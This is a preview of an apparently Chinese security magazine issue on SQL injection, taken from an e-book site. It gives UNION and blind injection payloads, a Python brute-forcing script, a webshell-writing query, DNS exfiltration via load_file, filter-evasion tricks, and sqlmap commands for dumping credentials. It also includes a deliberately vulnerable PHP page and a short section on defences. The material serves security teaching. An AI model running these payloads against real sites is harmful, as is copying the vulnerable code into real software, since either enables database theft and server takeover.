i 春秋月刊 4:SQL 注入 (it-ebooks)(Z-Library)
Author: it-ebooks
教育
No Description
📄 File Format:
PDF
💾 File Size:
7.2 MB
21
Views
0
Downloads
0.00
Total Donations
📄 Text Preview (First 20 pages)
ℹ️
Registered users can read the full content for free
Register as a Gaohf Library member to read the complete e-book online for free and enjoy a better reading experience.
📄 Page
1
03 半月刊第四期 -SQL注入 SQL 注入原理篇 - SQL 注入初级………………………… SQL注入中级………………………………………………… SQL注入高级………………………………………………… SQL工具篇…………………………………………………… DNS注入 &sqlmap 进行 DNS注入…………………………… 11种常见SQLmap使用方法………………………………… SQL注入工具………………………………………………… SQL注入工具拓展篇………………………………………… SQL注入实战篇 - Thinkphp框架 3.2.x sql注入漏洞分 析 …………………………………………………………… ThinkPHP框架 < 5.0.16 sql注入漏洞分析……………… 宽字节注入详解 第二集 ………………………………… 01 08 12 14 16 18 23 25 28 36 44
📄 Page
2
03 半月刊第四期 -SQL注入 SQL 注入原理篇 - SQL 注入初级………………………… SQL注入中级………………………………………………… SQL注入高级………………………………………………… SQL工具篇…………………………………………………… DNS注入 &sqlmap 进行 DNS注入…………………………… 11种常见SQLmap使用方法………………………………… SQL注入工具………………………………………………… SQL注入工具拓展篇………………………………………… SQL注入实战篇 - Thinkphp框架 3.2.x sql注入漏洞分 析 …………………………………………………………… ThinkPHP框架 < 5.0.16 sql注入漏洞分析……………… 宽字节注入详解 第二集 ………………………………… 01 08 12 14 16 18 23 25 28 36 44
📄 Page
3
02 半月刊第四期 -SQL注入 前言 不管用什么语言编写的Web应用,它们都有一个共同点, 具有交互性并且多数是数据库驱动。在网络中,数据库 驱动的 Web 应用随处可见,由此而存在的 SQL 注入是影 响企业运营且最具破坏性的漏洞之一,这里我想问,我 们真的了解 SQL 注入吗?看完本篇文章希望能让你更加 深刻的认识 SQL 注入。 目录 第一节 注入攻击原理及自己编写注入点 • 1.1、什么是 SQL ? • 1.2、什么是 SQL 注入? • 1.3、SQL 注入是怎么样产生的? • 1.4、编写有注入漏洞代码 第二节 寻找及确认 SQL 注入 • 2.1、推理测试法 • 2.2、and 大法和 or 大法 • 2.3、加法和减法 第一节 注入攻击原理及自己编写注入点 1.1 什么是 SQL ? SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统。SQL 语句用于增删改查数据库中的数据。SQL 可 与数据库程序协同工作,常见数据库比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他 数据库系统。 1.2 什么是 SQL 注入? 看起来很复杂,其实很简单就能解释,SQL 注入就是一种通过操作输入来修改后台 SQL 语句达到恶意 SQL 代码执行进 行攻击目的的技术。 1.3 SQL 注入是怎么样产生的? 构造动态字符串是一种编程技术,它允许开发人员在运行过程中动态构造 SQL 语句。开发人员可以使用动态 SQL 来创 建通用、灵活的应用。动态 SQL 语句是在执行过程中构造的,它根据不同的条件产生不同的 SQL 语句。当开发人员在 运行过程中需要根据不同的查询标准来决定提取什么字段 ( 如 SELECT 语句 ),或者根据不同的条件来选择不同的查 询表时,动态构造 SQL 语句会非常有用。 在 PHP 中动态构造 SQL 语句字符串: 看上面代码我们可以控制输入参数 ichunqiu,修改所要执行 SQL 语句逻辑,达到攻击的目的。 1.4 编写注入点 SQL 注入原理篇 -SQL 注入初级 作者:zusheng
📄 Page
4
03 半月刊第四期 -SQL注入 输入参数 ichunqiu,修改所要执行 SQL 语句逻辑,达到 攻击的目的。 1.4 编写注入点 为了照顾一下新人,这里先介绍一下涉及到的基础知识: SQL SELECT 语法 SELECT 列名称 FROM 表名称 ; 符号 * 取代列的名称是选取所有列 WHERE 子句 如需有条件地从表中选取数据,可将 WHERE 子句添加到 SELECT 语 句。 SELECT 列名称 FROM 表名称 WHERE 列 运算符 值 下面的运算符可在 WHERE 子句中使用: 了解了以上基础知识就让我们来自己编写拥有注入点的 代码吧。 第一步:我们使用 if 语句来先判断一下变量是否初始 化 第二步:在 if语句里面,我们连接数据库。在 PHP 中, 这个任务通过 mysql_connect() 函数完成。 第三步:连接成功后,我们需要选择一个数据库。 第四步:选择完数据库,我们需要执行一条 MySQL 查询。 第五步:执行完查询,我们再对结果进行处理 题外话:我们使用 echo 将执行的 SQL 语句输出,方便 我们查看后台执行了什么语句。 最终代码如下: <?php if(isset($_GET["ichunqiu"])) { } ?> mysql_connect(servername,username,password); servername 可选。规定要连接的服务器。默认是 "localhost:3306"。 username 可选。规定登录所使用的用户名。默认值是拥有服务器进程的用户的名称。 password 可选。规定登录所用的密码。默认是 ""。 mysql_select_db(database,connection) database 必需。规定要选择的数据库。 connection 可选。规定 MySQL 连接。如果未指定,则使用上一个连接。 mysql_query(query,connection) query 必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。 connection 可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连 接。 mysql_fetch_array(data,array_type) data 可选。规定要使用的数据指针。该数据指针是 mysql_query() 函数产生的结果。 array_type 可选。规定返回哪种结果。可能的值: MYSQL_ASSOC - 关联数组 MYSQL_NUM - 数字数组 MYSQL_BOTH - 默认。同时产生关联和数字数组 echo $querry if(isset($_GET["id"])){ $con = mysql_connect("127.0.0.1:3306","root","root"); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("ichunqiu",$con); $querry = "select * from users where id = " . $_GET['id']; $sql = mysql_query($querry,$con); $result = mysql_fetch_array($sql); echo "<table class='itable' border='1' cellspacing='0' width='300px' height='150'>"; echo "<tr>"; echo "<td>id</td>"; echo "<td>username</td>"; echo "</tr>"; echo "<tr>"; echo "<td>".$result['id']."</td>"; echo "<td>".$result['username']."</td>"; echo "</tr>"; echo "</table>"; mysql_close($con); echo $querry; } ?> MySQL 数据库实验环境配置: 代码层工作已经做好,但是在数据库里面,我们还没有 ichunqiu 这个数据库啊,接下来我就带大家一步步创 建数据库,创建表,创建列,插入数据。 第一步:创建数据库
📄 Page
5
04 半月刊第四期 -SQL注入 第三步:我们插入几条数据 同样的道理,大家多插几条数据。到此我们整个任务就 完成了。 最终成果如下: 第二步:创建表 users 和列 id,username,password
📄 Page
6
05 半月刊第四期 -SQL注入 第二节 寻找及确认 SQL 注入 2.1 推理测试法 寻找 SQL 注入漏洞有一种很简单的方法,就是通过发送特殊的数据来触发异常。 首先我们需要了解数据是通过什么方式进行输入,这里我总结了三个: • GET 请求:该请求在 URL 中发送参数。 • POST 请求:数据被包含在请求体中。 • 其他注入型数据:HTTP 请求的其他字段也可能会触发 SQL 注入漏洞。 了解完数据的输入方式,我们接下来再学习数据库错误。这里我们以 MySQL 为例,其它的请大家自行学习咯。 我们现在参数后面加个单引号,如下图: sql 语句最终变为: 执行失败,所以 mysql_query() 函数会返回一个布尔值,在下行代码中 mysql_fetch_array($sql) 将执行失败,并且 PHP 会显示一条警告信息,告诉我们 mysql_fetch_array() 的第一个参数必须是个资源,而代码在实际运行中,给出 的参数值却是一个布尔值。 我们修改代码在 为了更好的了解 MySQL 错误,我们在 加上 select * from users where id = 1' $sql = mysql_query($querry,$con);下一行加上 var_dump($sql); $sql = mysql_query($querry,$con); if(!$sql) { die('<p>error:'.mysql_error().'</p>') ; }
📄 Page
7
06 半月刊第四期 -SQL注入 这样当应用捕获到数据库错误且 SQL 查询失败时,就会返回错误信息:(我们在参数中添加单引号返回的错误信息) 然后借助这些错误,我们这可以推断应该存在 SQL 注入。还有其他数据库错误信息,以及 MySQL 其他错误信息,由于 篇幅问题就不一一讲解了。 2.2 and 大法和 or 大法 页面不返回任何错误信息,我们就可以借助本方法来推断了,首先我们在参数后面加上 and 1=1 和 and 1=2 看看有 什么不同 error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 可以发现 and 1=1 返回了数据,而 and 1=2 没有,这是由于 1=1 是一个为真的条件,前面的结果是 true,true and true 所以 没有任何问题,第二个 1=2 是个假条件, true and false 还 是 false,所以并没有数据返回。 好,讲完 and,我们自来看看 or ,or 就是或者,两个都为假, 才会为假。我们先把 id 改为 5,可以发现 id=5 是没有数据的。 可以发现我们加上 or 1=1 就成功返回了数据,这是因为 1=1 为 真,不管前面是不是假,数据都会返回,这样就把表里面数据 全部返回,我们没看见,是因为代码中并没有迭代输出。这样, 我们来修改一下代码。然后你就可以发现: echo "<table class='itable' border='1' cellspacing='0' width='300px' height='150'>"; echo "<tr>"; echo "<td>id</td>"; echo "<td>username</td>"; echo "</tr>"; //遍历查询结果 while ($result = mysql_fetch_array($sql)) { echo "<tr>"; echo "<td>" . $result[0] . "</td>"; echo "<td>" . $result[1] . "</td>"; echo "</tr>"; }
📄 Page
8
07 半月刊第四期 -SQL注入 2.3、加法和减法 这里我们需要区分一下数字型和字符串型: • 数字型:不需要使用单引号来表示 • 其他类型:使用单引号来表示 综合上述,我们可以发现我们的例子是数字型的,这样我们就可以使用加法和减法来判断了。 加法,我们在参数输入 1+1,看看返回的数据是不是 id 等于 2 的结果,这里注意一下 + 号在 URL 中是有特效含义的,所以我们要对 其进行 url 编码,最后也就是 %2b。 减法是同样的道理,不过我们不需要对 -号进行 url 编码了。 结束语 感谢大家的支持吧,在此我也总结一下前面自己的不足,由于篇幅很长,宽度是到位了,但是并没有深入,也不算详细,所以本篇 教程分为了三级即初级、中级、高级。六节来写,既要深度也要宽度,当然我也不是技术大牛,如文中有错误请指出,我会加以改正, 谢谢。
📄 Page
9
08 半月刊第四期 -SQL注入 SQL 注入攻击中级 前言 找到 SQL 注入漏洞后,我们可以用它来干什么呢 ? 那么 本篇文章给大家带来的就是 SQL 注入漏洞利用技术,现 在是时候让我们去体验一下漏洞利用的乐趣了。 目录 第三节 利用 SQL 注入 • 3.1、识别数据库 • 3.2、UNION 语句提取数据 • 3.3、枚举数据库 • 3.4、窃取哈希口令 • 3.5、获取 WebShell 第四节 SQL 盲注利用 • 4.1、初识 SQL 盲注 • 4.2、SQL 盲注入技术 -基于布尔 • 4.3、SQL 盲注入技术 -基于时间 • 4.4、我们的好朋友 -Python 正文 第三节 利用 SQL 注入 3.1、识别数据库 要想发动 sql 注入攻击,就要知道正在使用的系统数据 库,不然就没法提取重要的数据。 首先从 Web 应用技术上就给我们提供了判断的线索: • ASP 和 .NET:Microsoft SQL Server • PHP:MySQL、PostgreSQL • Java:Oracle、MySQL Web 容器也给我们提供了线索,比如安装 IIS 作为服 务器平台,后台数据及很有可能是 Microsoft SQL Server,而允许 Apache 和 PHP 的 Linux 服务器就很有可 能使用开源的数据库,比如 MySQL 和 PostgreSQL。 基于错误识别数据库 大多数情况下,要了解后台是什么数据库,只需要看一 条详细的错误信息即可。比如判断我们事例中使用的数 据库,我们加个单引号。 从错误信息中,我们就可以发现是 MySQL。 Microsoft OLE DB Provider for ODBC Drivers 错 误 '80040e14' 上面错误信息可以发现是 Microsoft SQL Server,如果 错误信息开头是 ORA,就可以判断数据库是 Oracle,很 简单,道理都是一样的,就不一一列举了。 基于数字函数推断 数据库服务器 函数 Microsoft SQL Server @@pack_received、@@ rowcount MySQL connection_id()、last_ i n s e r t _ i d ( )、 r o w _ count() Oracle BITAND(1,1) PostgreSQL select EXTRACT(DOW FROM NOW()) 这里以我们搭建的环境为例来做推断: connection_id() 不管它值多少,基本上都是正的,也 就是为真,last_insert_id() 用法大家自行百度,这里 不存在 insert语句,默认情况就是返回零,也就是假。 那么如果 and connection_id() 数据返回正常,and last_insert_id() 不返回数据,我们就可以推断这是一 个 MySQL 数据库了。 3.2、UINON 语句提取数据 UNION 操作符可以合并两条或多条 SELECT 语句的查询结 果,基本语法如下: error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
📄 Page
10
09 半月刊第四期 -SQL注入 如果应用程序返回了第一条查询得到的数据,我们就可 以在第一条查询后面注入一个 UNION 运算符来添加一个 任意查询,来提取数据,是不是很容易啊,当然在使用 UNION 之前我们必须要满足两个条件: • 两个查询返回的列数必须相同 • 两个查询语句对于列返回的数据类型必须相同 首先我来看第一个条件,如何知道第一条查询的列数 呢?我们可以使用 NULL 来尝试,由于 NULL 值会被转换 成任何数据类型,所以我们不用管第二个条件。 就是这样的一个个加上去进行尝试,直到不返回错误。 神奇的 ORDER BY 子句 除了上述方法,我们还可以是用 order by 子句得到准 确列数 我们先尝试了 12,返回错误,说明列数是小于 12 的, 我们继续尝试了 6,返回错误,同理,列数小于 6的, 我们尝试 3,返回正常,说明列数是大于等于 3的,继 续尝试4,返回错误。说明列数是小于4,列数大于等于3, 小于 4,可以得到列数是 3。使用 order by 子句可以帮 助我们快速得到列数。 得到列数后我们还需要满足第二个条件 很简单,只要一次一列使用我们的测试字符串替换 NULL 即可,可以发现第一列和第二列都可以存放字符 串,第三列数据没有输出。 接下来就让我们提取数据库用户名和版本号: 3.3、枚举数据库 这里由于篇幅问题,我们只以 MySQL 数据库为例了, 枚举数据库并提取数据遵循一种层次化的方法,首先 我们提取数据库名称,然后提取表,再到列,最后才 是数据本身。要想获取远程数据库的表、列,就要访 问专门保存描述各种数据库结构的表。通常将这些结 构描述信息成为元数据。在 MySQL 中,这些表都保存 在 information_schema 数据库中 第一步:提取数据库 在 MySQL 中,数据库名存放在 information_schema 数 据库下 schemata 表 schema_name 字段中 select column-1 column-2 from table-1 UNION select column-1 column-2 from table-2 id=1 union select null,schema_name,null from information_schema.schemata
📄 Page
11
10 半月刊第四期 -SQL注入 第二步:提取表名 在 MySQL 中,表名存放在 information_schema 数据库 下 tables 表 table_name 字段中 这里我使用 where 子句来筛选了,只返回数据库 ichunqiu 下的表名,想返回所有表名,去掉 where 子 句就行了。 第三步:提取字段名 在 MySQL 中,字段名存放在 information_schema 数据 库下 columns 表 column_name 字段中 3.4、窃取哈希可令 MySQL 在 mysql.user 表中存储哈希口令,怎么提取看 下图: 哈希口令是通过使用 PASSWORD() 函数计算的: ?id=1 union select null,table_name,null from information_schema.tables where table_schema='ichunqiu' 具体算法取决于 MySQL 安装的版本。 3.5、获取 WebShell 利用 SQL 注入攻击获取 WebShell 其实就是在向服务器 写文件。(注意:这里我们需要得到网站的绝对路径) 所有常用的关系数据库管理系统(RDBMS)均包含内置 的向服务器文件系统写文件的功能。 例如: 那么其它关系数据库管理系统同样的原理写文件,就 不在过多介绍了 第四节 SQL 盲注利用 4.1、初识 SQL 盲注 SQL 盲注是指在无法使用详细数据库错误消息或带内数 据连接的情况下,利用数据库查询的输入审查漏洞从 数据库提取信息或提取与数据库查询相关信息的技术。 常见的 SQL 盲注入场景: 1、提交一个导致 SQL 查询无效时,会返回一个通用错误页面, 提交正确则会返回一个内容可被适度控制的页面。 2、提交一个导致 SQL 查询无效时,会返回一个通用错误页面, 提交正确则会返回一个内容不可控的页面。 3、提交受损或不正确的 SQL 既不会产生错误页面,也不会 以任何方式影响页面输出。 4.2、SQL 盲注入技术 - 基于布尔 了解完 SQL 定义以及这类漏洞的注入场景后,现在我 带大家深入研究利用这些漏洞的技术。 首先我们我们提交错误的 SQL,看资源是否返回通用的 错误页面。 select into outfile(dumpfile) //MySQL 写文件命令 select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
📄 Page
12
11 半月刊第四期 -SQL注入 我们能控制页面的输出结果吗? 显然可以: 怎么利用? 在介绍利用技巧之前我们先来介绍一个重要的 SQL 函数 SUBSTRING(str,pos,len) 没有 len 参数的形式返回一个字符串从字符串 str 从位置 pos 开始。一个 len 参数的形式返回 len 个字符长的字符串 str 的子 串,从位置 pos 开始,形式使用的是标准的 SQL 语法。另外, 也可以使用负的值为 pos。在这种情况下,刚开始的子串位置 的字符结尾的字符串,而不是开始。负的值可用于为 pos 在此 函数中的任何形式的。 id=1 and 1=1 True id=1 and 1=2 False 这也就是基于布尔的 SQL 盲注入技术 4.3、SQL 盲注入技术 - 基于时间 和基于布尔的 SQL 盲注入技术原理其实大同小异,当某 一状态为真时,让响应暂停几秒钟,而当状态为假时, 不出现暂停。 废话不多说看技巧利用。 4.4、我们的好朋友 -Python 使用 Python 自动化注入获取用户名实例: MySQL 提取用户名进行比较不区分大小写,所以我们去 掉其中的大写字母。代码很简单,就不解释了。 id=1 and SUBSTRING(user(),1,1)='a' #利用 SUBSTRING()函数提取用户名的第一个字符,看等于字符 a 吗?,如 果等于页面返回 True 状态,不等于返回 False 状态。 id=1 and SUBSTRING(user(),1,1)='r' #返回 True 状态,也就是页面正常,表示用户名第一个字符是 r id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null #注意使用 union 的条件哦,前面介绍了。同样的道理,提取用户名前四个字符 做判断,正确就延迟 4 秒,错误返回 1 import requests def attack(): print 'launch an attack' url = 'http://www.isbase.com/sqlbool.php' user = '[+]system_user: ' zimu1 = range(33,65) zimu2 = range(91,128) zimu = zimu1 + zimu2 for l in range(1,16): for i in zimu: payload = "and SUBSTRING(user(),"+str(l)+",1)='" + chr(i) + "'" payload = {'id': '1 ' + payload} r = requests.get(url, params=payload) wenben = r.text wenben = wenben.encode("utf-8") result = wenben.find("jim") if(result != -1): user = user + chr(i) print user if __name__ == '__main__': print 'Author:zusheng' print 'bbs:ichunqiu.com'
📄 Page
13
12 半月刊第四期 -SQL注入 import requests def attack(): print 'launch an attack' url = 'http://www.isbase.com/sqlbool.php' user = '[+]system_user: ' zimu1 = range(33,65) zimu2 = range(91,128) zimu = zimu1 + zimu2 for l in range(1,16): for i in zimu: payload = "and SUBSTRING(user(),"+str(l)+",1)='" + chr(i) + "'" payload = {'id': '1 ' + payload} r = requests.get(url, params=payload) wenben = r.text wenben = wenben.encode("utf-8") result = wenben.find("jim") if(result != -1): user = user + chr(i) print user if __name__ == '__main__': print 'Author:zusheng' print 'bbs:ichunqiu.com' attack() print '[+]ok' 前言 前面我们学习了如何寻找,确认,利用 SQL 注入漏洞的 技术,本篇文章我将介绍一些更高级的技术,避开过滤, 绕开防御。有攻必有防,当然还要来探讨一下 SQL 注入 防御技巧。 目录 第五节 避开过滤方法总结 • 5.1、大小写变种 • 5.2、URL 编码 • 5.3、SQL 注释 • 5.4、空字节 • 5.5、二阶 SQL 注入 第六节 探讨 SQL 注入防御技巧 • 6.1、输入验证 • 6.2、编码输出 正文 第五节 避开过滤方法总结 Web 应用为了防御包括 SQL 注入在内的攻击,常常使用 输入过滤器,这些过滤器可以在应用的代码中,也可以 通过外部实现,比如 Web 应用防火墙和入侵防御系统。 避开过滤的方法是灵活的,本节我总结了一些常用的技 巧。在我们不知道过滤规则的时候可以尝试一下。 5.1、大小写变种 这种技巧适用于关键字阻塞过滤器不聪明的时候,我们 可以变换关键字字符串中字符的大小写来避开过滤,因 为使用不区分大小写的方式处理 SQL 关键字。 例如:(下面的代码就是一个简单的关键字阻塞过滤器) function waf($id1){ if(strstr($id1,'union')){ echo 'error:lllegal input'; return; } return $id1; SQL 注入攻击高级 作者:zusheng
📄 Page
14
13 半月刊第四期 -SQL注入 但是内联注释不使用空格就可以构造任意复杂的 SQL 语 句。 5.4、空字节 通常的输入过滤器都是在应用程序之外的代码实现的。 比如入侵检测系统(IDS),这些系统一般是由原生编 程语言开发而成,比如C++,为什么空字节能起作用呢, 就是因为在原生变成语言中,根据字符串起始位置到第 一个出现空字节的位置来确定字符串长度。所以说空字 节就有效的终止了字符串。 只需要在过滤器阻止的字符串前面提供一个采用 URL 编 码的空字节即可,例如: %00' union select username,password from users where username='admin' -- 5.5、二阶 SQL 注入 实际上到目前为止,你在网上大部分搜索 SQL 注入文章 基本都可以归类到 " 一阶 (first-order)"SQL 注入中, 因为这些例子涉及的事件均发生在单个 HTTP 请求和响 应中,如下所示: (1) 攻击者在 HTTP 请求中提交某种经过构思的输入。 (2) 应用处理输入,导致攻击者注入的 SQL 查询被执行。 (3) 如果可行的话,会在应用对请求的响应中向攻击者返回查 询结果。 另一种不同的 SQL 注入攻击是 " 二阶 (second-order)"SQL 注 入,这种攻击的事件时序通常如下所示: (1) 攻击者在 HTTP 请求中提交某种经过构思的输入。 (2) 应用存储该输入 ( 通常保存在数据库中 ) 以便后面使用并响 应请求。 (3) 攻击者提交第二个 ( 不同的 ) 请求。 (4) 为处理第二个请求,应用会检索已经存储的输入并处理它, 从而导致攻击者注入的 SQL 查询被执行。 (5) 如果可行的话,会在应用对第二个请求的响应中向攻击者 返回查询结果。 从字面上来看二阶 SQL 注入对于新手很难理解,所以我 来介绍一个经典的例子帮助大家理解。 这是一个个人信息应用程序,我们可以更新我们的用户 名,也可以查看我们的个人信息。 第二步查看我们个人信息时的 SQL 语句: 查询的语句所用到的变量 name 就是从数据库提取到的 我们的用户名,所以我们可以先利用更新我们的用户名 功能插入语句进数据库。 这样查看我们个人信息的时候就成功执行了我们的 SQL 注入攻击。 例如:我们在用户名插入 那么后面我们就执行了语句 第六节 探讨 SQL 注入防御技巧 6.1、输入验证 输入验证是指要验证所有应用程序接收到的输入是否合 法。 有两中不同类型的输入验证方法:白名单和黑名单验证 白名单验证:比如 id值,那么我们判断它是否为数字。 黑名单验证:使用正则表达式禁止使用某些字符和字符 串 应该尽量使用白名单,对于无法使用白名单的,使用黑 名单提供局部限制。 6.2、编码输出 我们除了要验证应用程序收到的输入以外,还要对数据 进行编码,这样不仅可以防御 SQL 注入攻击,还能防止 出现其他问题,比如 XSS。 另外还有 1. 所有的查询语句都使用数据库提供的参数化查询接 口,参数化的语句使用参数而不是将用户输入变量嵌入 到 SQL 语句中。当前几乎所有的数据库系统都提供了参 数化 SQL 语句执行接口,使用此接口结合预编译语句可 以非常有效的防止 SQL 注入攻击。 2. 对进入数据库的特殊字符('"\<>&*;-- 等)进行转 义处理,或编码转换。 3. 确认每种数据的类型,比如数字型的数据就必须是数 字,数据库中的存储字段必须对应为 int 型。 4. 数据长度应该严格规定,能在一定程度上防止比较长 的 SQL 注入语句无法正确执行。 5. 网站每个数据层的编码统一,建议全部使用 UTF-8 编 select * from users where username = '$name' zusheng' or '1'='1 select * from users where username = 'zusheng' or '1'='1'
📄 Page
15
14 半月刊第四期 -SQL注入 码,上下层编码不一致有可能导致一些过滤模型被绕过。 6. 使用低权限账号启动数据库,禁用数据库的危险函数 如 xp_cmd,禁用危险存储过程 7. 用户权限使用最小权限原则,比如只使用到读权限的 用户,只分配查询权限 等等 SQL 工具篇 — 利用 Burpsuit 学习注入工具语句 引子 小明学习网络安全有些日子了,从刚入门的小白已经晋级到脚 本小子了,对各大神器如 Burpsuit、Sqlmap 等有了大概的了 解,可最近似乎遇到了瓶颈,纷繁复杂的工具已经搞得他焦头 烂额,他意识到应该专注(Focus), 你看大牛们一言不合就读 sqlmap 源码,可小明 python 还没那么扎实,再说他只是想学 习学习神器的注入语句而已,没有必要读源码吧。黑客就要守 (nao)正 (dong) 出 (da) 奇 (kai)、触类旁通。既然 Burpsuite 可以代理浏览器,那它还能代理别的客户端吗?如果能,会是 怎样的效果呢?闲言少叙,各位客官,里边请了您那 ~ 原理 首先我们来要搞清楚 burpsuite 代理的原理,下面这图 一目了然 buipsuit 作为中间人可以拦截 PC 的数据,那我把 PC 换 成其他客户端理论上也可以拦截其他客户端的数据。而 我们就是想学习注入工具的语句,那就把 PC 换成注入 工具吧,音乐起 ~ 实践 1、Pangolin 我们先用注入神器 pangolin试试,什么? 你问为什么用 pangolin ?因为它可以设置代理呀,要 知道不是谁都可以设置代理的 首 先, 我 们 设 置 好 Burpsuite 为 127.0.0.1 端 口 为 8080,与平时设置相同。 其次设置Pangolin的代理,依此点“编辑”、“配置”, 设置代理服务器为 127.0.0.1 端口为 8080,代理类型选 择 HTTP 这个时候设置就基本完成了,也就是我们已经把上图中 的 PC 换成 Pangolin 了,下面就是见证奇迹的时刻了, 好鸡冻!!哎??我们还没有注入点呢,怎么办?好吧, 我们本地搭建一套渗透测试实验系统以协助注入点检 测,我这里用了“btslab 渗透测试实验室”,大家也可 以搭建 DVWA 等系统。
📄 Page
16
15 半月刊第四期 -SQL注入 先将 Burpsuite 设置为 "Intercept is Off", 以便放行 数据,我们在 history 里查看记录。如下图,成功拦截 数据,成功了,哈哈,好高兴。 我们再来注入数据看看注入语句是什么样的,包括返回 页面。 这里有个小问题,就是 History 里的注入语句 URL 编码 了,不太直观,我们可以把鼠标放在数据包中的注入语 句(橙色部分)上,会自动显示解码结果,或者可以发 送到“Decoder”进行解码。 2、SQLmap 接下来我们再来看看注入神器 Sqlmap 效果 怎么样,Sqlmap 很贴心的给出了代理设置参数 --proxy 这里直接给出语句,这里的参数 --skip-urlencode 是 为了跳过 url 编码 python sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts. php?id=1 --proxy http://127.0.0.1:8080 --skip-urlencode -dbs 可以看到,成功拦截数据,Intercept is Off 以后, History 里继续查看 注入语句 python sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts. php?id=1 --proxy http://127.0.0.1:8080 --skip-urlencode --dbs python sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts. php?id=1 --proxy http://127.0.0.1:8080 --skip-urlencode -D webtest --tables 结束语 我这里只是抛砖引玉,大家可以尽情发挥。更重要的是 这种触类旁通、举一反三的思路,是我们学习网络安全 应该具备的,最后祝小伙伴们向着大牛的方向前进!
📄 Page
17
16 半月刊第四期 -SQL注入 DNS 注入 &sqlmap 进行 DNS 注入 作者:我是 salf dns 注入原理 数据库在配置中允许域名解析时,会对域名进行解析。以 mysql 的域名解析配置为例 skip_name_resolve 为 off 时会进行域名解析 那数据库在什么时候会进行域名解析呢。比如需要其他服务器上的文件时候 这个时候就会向百度的 dns 服务器进行解析获取 ip 地址 而在这个时候域名字符串是可以由我们操控的。这个时候我 们就可以使用这种办法 假设 mysql 版本为 5.5,这时候 dns 服务器会接到一个要求解析 5.5.baidu.com 这个域名的请求 dns 注入的应用 不过就算我们注入使用了类似语句,传出信息也是发到 dns 服务器。我们要如何获取呢。我们需要两个域名一个云服 务器,云服务器上需要运行 dns 服务和 sqlmap。 首先我们把一个域名的域名dns指向我们的dns服务器域名,这样的话解析域名的时候就会向我们的dns服务器查询。 我们就可以获取数据库上的信息了。 Select load_file('\\\\www.baidu.com[/url]\\1.txt'); select load_file(concat(version(),".baidu.com\\1.txt'));
📄 Page
18
17 半月刊第四期 -SQL注入 什么时候应该使用 dns 解析 没有任何回显,只能使用延时注入的注入点。我们使用延时注入的话,我们需要花费大量的时间和请求次数去进行注 入,脱库更是非常困难。而且请求次数过多可能会被安全狗盯上。这个时候我们就应该使用 dns 注入。 sqlmap 上的自动化 dns 注入 sqlmap 提供了一个 dns 注入选项 --dns-domain 选项。需要注意的是必须要在管理员下运行,因为 dns 服务运行在 特权端口 53,必须要管理员权限。 结束语 需要注意一下域名的长度控制在 63 个字符并且不支持一些字符
📄 Page
19
18 半月刊第四期 -SQL注入 11 种常见 SQLmap 使用方法 作者:中国 Cold 一、SQLMAP 用于 Access 数据库注入 (1) 猜解是否能注入 win: python sqlmap.py -u "http://www.xxx.com/en/ CompHonorBig.asp?id=7" Linux : ./sqlmap.py -u "http://www.xxx.com/en/ CompHonorBig.asp?id=7" (2) 猜解表 win: python sqlmap.py -u "http://www.xxx.com/en/ CompHonorBig.asp?id=7" --tables Linux: ./sqlmap.py -u "http://www.xxx.com/en/ CompHonorBig.asp?id=7" --tables (3) 根据猜解的表进行猜解表的字段 ( 假如通过 2 得到 了 admin 这个表 ) win: python sqlmap.py -u "http://www.xxx.com/en/ CompHonorBig.asp?id=7" --columns -T admin Linux: ./sqlmap.py -u "http://www.xxx.com/en/ CompHonorBig.asp?id=7" --columns -T admin (4) 根 据 字 段 猜 解 内 容 ( 假 如 通 过 3 得 到 字 段 为 username 和 password) win: python sqlmap.py -u "http://www.xxx.com/ en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password" Linux: ./sqlmap.py -u "http://www.xxx.com/en/ CompHonorBig.asp?id=7" --dump -T admin -C "username, Bpassword" 二、SQLMAP 用于 Cookie 注入 (1) cookie 注入,猜解表 win : python sqlmap.py -u "http://www.xxx.org/ jsj/shownews.asp" --cookie "id=31" --table --level 2 (2) 猜 解 字 段,( 通 过 1 的 表 猜 解 字 段, 假 如 表 为 admin) win :python sqlmap.py -u "http://www.xxx.org/ jsj/shownews.asp" --cookie "id=31" --columns -T admin --level 2 (3) 猜解内容 win :python sqlmap.py -u "http://www.xxx.org/ jsj/shownews.asp" --cookie "id=31" --dump -T admin -C "username,password" --level 2 三、SQLMAP 用于 mysql 中 DDOS 攻击 (1) 获取一个 Shell win: python sqlmap.py -u http://192.168.159.1/news. php?id=1 --sql-shell Linux: sqlmap -u http://192.168.159.1/news.php?id=1 --sql-shell (2) 输入执行语句完成 DDOS 攻击 select benchmark(99999999999,0x70726f62616e646f7 0726f62616e646f70726f62616e646f) 四、SQLMAP 用于 mysql 注入 (1) 查找数据库 python sqlmap.py -u "http://www.xxx.com/link. php?id=321" --dbs
📄 Page
20
19 半月刊第四期 -SQL注入 (2) 通过第一步的数据库查找表 ( 假如数据库名为 dataname) python sqlmap.py -u "http://www.xxx.com/link. php?id=321" -D dataname --tables (3) 通 过 2 中 的 表 得 出 列 名 ( 假 如 表 为 table_ name) python sqlmap.py -u "http://www.xxx.com/link. php?id=321" -D dataname -T table_name --columns (4) 获取字段的值 ( 假如扫描出 id,user,password 字段 ) python sqlmap.py -u "http://www.xxx.com/link. php?id=321" -D dataname -T table_name -C "id,user,password" --dump 五、SQLMAP 中 post 登陆框注入 (1) 其中的 search-test.txt 是通过抓包工具 burp suite 抓到的包并把数据保存为这个 txt 文件 我们在使用 Sqlmap 进行 post 型注入时,经常会出现请 求遗漏导致注入失败的情况。这里分享一个小技巧,即 结合 burpsuite 来使用 sqlmap,用这种方法进行 post 注入测试会更准确,操作起来也非常容易。 1. 浏览器打开目标地址 http:// www.xxx.com /Login.asp 2. 配置 burp 代理 (127.0.0.1:8080) 以拦截请求 3. 点击 login 表单的 submit 按钮 4. 这时候 Burp 